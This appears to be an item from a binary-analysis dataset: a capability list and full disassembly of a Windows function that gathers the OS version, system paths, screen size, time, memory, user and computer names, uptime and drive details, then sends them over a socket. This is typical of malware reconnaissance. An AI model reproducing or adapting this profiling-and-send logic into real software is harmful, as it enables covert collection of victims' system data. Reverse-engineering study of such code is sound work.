Function at 0x405328
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get hostname
Get memory capacity
Get session user name
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x4a
push 0
push 0
dec ecx
jne 0x405330
push ebx
push esi
push edi
lea edi, [ebp - 0xb8]
xor eax, eax
push ebp
push 0x405931
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x405948
lea edx, [ebp - 0x1ec]
xor eax, eax
call fcn.00402808
push dword [ebp - 0x1ec]
push 0x405968
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403ab4
mov dword [edi], 0x94
push edi
call sub.kernel32.dll_GetVersionExA
mov eax, dword [edi + 0x10]
sub eax, 1
jb 0x405393
je 0x4053a2
dec eax
je 0x4053db
jmp 0x4053e8
lea eax, [ebp - 4]
mov edx, 0x40597c
call fcn.004039fc
jmp 0x4053e8
mov eax, dword [edi + 8]
cmp eax, 0xa
jne 0x4053b9
lea eax, [ebp - 4]
mov edx, 0x405994
call fcn.004039fc
jmp 0x4053e8
test eax, eax
jne 0x4053cc
lea eax, [ebp - 4]
mov edx, 0x4059a0
call fcn.004039fc
jmp 0x4053e8
lea eax, [ebp - 4]
mov edx, 0x4059ac
call fcn.004039fc
jmp 0x4053e8
lea eax, [ebp - 4]
mov edx, 0x4059c4
call fcn.004039fc
push dword [ebp - 4]
lea edx, [ebp - 0x1f0]
mov eax, dword [edi + 4]
call fcn.004046f0
push dword [ebp - 0x1f0]
push 0x4059d0
lea edx, [ebp - 0x1f4]
mov eax, dword [edi + 8]
call fcn.004046f0
push dword [ebp - 0x1f4]
push 0x4059d0
lea edx, [ebp - 0x1f8]
movzx eax, word [edi + 0xc]
call fcn.004046f0
push dword [ebp - 0x1f8]
push 0x4059dc
lea eax, [ebp - 0x1fc]
lea edx, [edi + 0x14]
mov ecx, pe_nt_image_headers32
call fcn.004039b8
push dword [ebp - 0x1fc]
push 0x4059e8
push 0x4059f4
lea eax, [ebp - 4]
mov edx, 0xa
call fcn.00403ab4
push 0xff
lea eax, [ebp - 0x1b8]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
push dword [ebp - 4]
lea eax, [ebp - 0x200]
lea edx, [ebp - 0x1b8]
mov ecx, 0x100
call fcn.004039b8
push dword [ebp - 0x200]
push 0x405a14
push 0x405a20
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403ab4
push 0xff
lea eax, [ebp - 0x1b8]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [ebp - 4]
lea eax, [ebp - 0x204]
lea edx, [ebp - 0x1b8]
mov ecx, 0x100
call fcn.004039b8
push dword [ebp - 0x204]
push 0x405a14
push 0x405a38
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403ab4
lea eax, [ebp - 0x1b8]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x208]
lea edx, [ebp - 0x1b8]
mov ecx, 0x100
call fcn.004039b8
mov edx, dword [ebp - 0x208]
lea eax, [ebp - 4]
call fcn.004039fc
push dword [ebp - 4]
push 0x405a50
push 0
call sub.user32.dll_GetSystemMetrics
lea edx, [ebp - 0x20c]
call fcn.004046f0
push dword [ebp - 0x20c]
push 0x405a64
push 1
call sub.user32.dll_GetSystemMetrics
lea edx, [ebp - 0x210]
call fcn.004046f0
push dword [ebp - 0x210]
lea eax, [ebp - 4]
mov edx, 5
call fcn.00403ab4
lea eax, [ebp - 0x1c8]
push eax
call sub.kernel32.dll_GetLocalTime
push dword [ebp - 4]
push 0x405a70
lea edx, [ebp - 0x214]
movzx eax, word [ebp - 0x1c0]
call fcn.004046f0
push dword [ebp - 0x214]
push 0x405a84
lea edx, [ebp - 0x218]
movzx eax, word [ebp - 0x1be]
call fcn.004046f0
push dword [ebp - 0x218]
lea eax, [ebp - 4]
mov edx, 5
call fcn.00403ab4
mov dword [ebp - 0x1e8], 0x20
lea eax, [ebp - 0x1e8]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push dword [ebp - 4]
push 0x405a90
mov eax, dword [ebp - 0x1e0]
mov ecx, 0x3e8
xor edx, edx
div ecx
lea edx, [ebp - 0x21c]
call fcn.004046f0
push dword [ebp - 0x21c]
push 0x405aa0
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403ab4
mov dword [ebp - 0x24], 0xff
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1b8]
push eax
call sub.aXvXpX3X.XlX_GetUserNameA
push dword [ebp - 4]
push 0x405aac
lea eax, [ebp - 0x220]
lea edx, [ebp - 0x1b8]
mov ecx, 0x100
call fcn.004039b8
push dword [ebp - 0x220]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403ab4
mov dword [ebp - 0x24], 0xff
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1b8]
push eax
call sub.kernel32.dll_GetComputerNameA
push dword [ebp - 4]
push 0x405ac0
lea eax, [ebp - 0x224]
lea edx, [ebp - 0x1b8]
mov ecx, 0x100
call fcn.004039b8
push dword [ebp - 0x224]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403ab4
push dword [ebp - 4]
push 0x405ad4
call sub.kernel32.dll_GetTickCount
mov ecx, 0xea60
xor edx, edx
div ecx
lea edx, [ebp - 0x228]
call fcn.004046f0
push dword [ebp - 0x228]
push 0x405ae8
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403ab4
lea eax, [ebp - 4]
mov edx, 0x405af8
call fcn.004039fc
mov bl, 0x41
lea eax, [ebp - 0x22c]
mov edx, ebx
call fcn.0040399c
lea eax, [ebp - 0x22c]
mov edx, 0x405b0c
call fcn.004039fc
mov eax, dword [ebp - 0x22c]
call fcn.00403bec
push eax
call sub.kernel32.dll_GetDriveTypeA
mov esi, eax
cmp esi, 1
jle 0x4058d5
cmp dword [edi + 0x10], 1
jne 0x405740
cmp dword [edi + 8], 0xa
jae 0x40574a
cmp dword [edi + 0xc], 0x3e8
ja 0x40574a
cmp dword [edi + 0x10], 2
jne 0x405888
cmp esi, 3
je 0x40575d
cmp esi, 4
je 0x40575d
cmp esi, 6
jne 0x405839
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x230]
mov edx, ebx
call fcn.0040399c
lea eax, [ebp - 0x230]
mov edx, 0x405b0c
call fcn.004039fc
mov eax, dword [ebp - 0x230]
call fcn.00403bec
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExA
push dword [ebp - 4]
push 0x405b18
lea eax, [ebp - 0x234]
mov edx, ebx
call fcn.0040399c
push dword [ebp - 0x234]
push 0x405b24
lea eax, [ebp - 0x238]
lea edx, [esi + esi*4]
lea edx, [edx*2 + 0x4080c4]
call fcn.004039ac
push dword [ebp - 0x238]
push 0x405b30
push 0
push 0xf4240
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.00403ee4
lea edx, [ebp - 0x23c]
call fcn.004046f0
push dword [ebp - 0x23c]
push 0x405b44
push 0
push 0xf4240
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
call fcn.00403ee4
lea edx, [ebp - 0x240]
call fcn.004046f0
push dword [ebp - 0x240]
push 0x405b58
lea eax, [ebp - 4]
mov edx, 0xa
call fcn.00403ab4
jmp 0x4058d5
push dword [ebp - 4]
push 0x405b18
lea eax, [ebp - 0x244]
mov edx, ebx
call fcn.0040399c
push dword [ebp - 0x244]
push 0x405b24
lea eax, [ebp - 0x248]
lea edx, [esi + esi*4]
lea edx, [edx*2 + 0x4080c4]
call fcn.004039ac
push dword [ebp - 0x248]
push 0x405a14
lea eax, [ebp - 4]
mov edx, 6
call fcn.00403ab4
jmp 0x4058d5
push dword [ebp - 4]
push 0x405b18
lea eax, [ebp - 0x24c]
mov edx, ebx
call fcn.0040399c
push dword [ebp - 0x24c]
push 0x405b24
lea eax, [ebp - 0x250]
lea edx, [esi + esi*4]
lea edx, [edx*2 + 0x4080c4]
call fcn.004039ac
push dword [ebp - 0x250]
push 0x405a14
lea eax, [ebp - 4]
mov edx, 6
call fcn.00403ab4
inc ebx
cmp bl, 0x5b
jne 0x4056f2
lea eax, [ebp - 4]
mov edx, 0x405b68
call fcn.004039fc
push 0
mov eax, dword [ebp - 4]
call fcn.004039f4
push eax
lea eax, [ebp - 4]
call fcn.00403c3c
push eax
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405938
lea eax, [ebp - 0x250]
mov edx, 0x1a
call fcn.004038a0
lea eax, [ebp - 4]
call fcn.0040387c
ret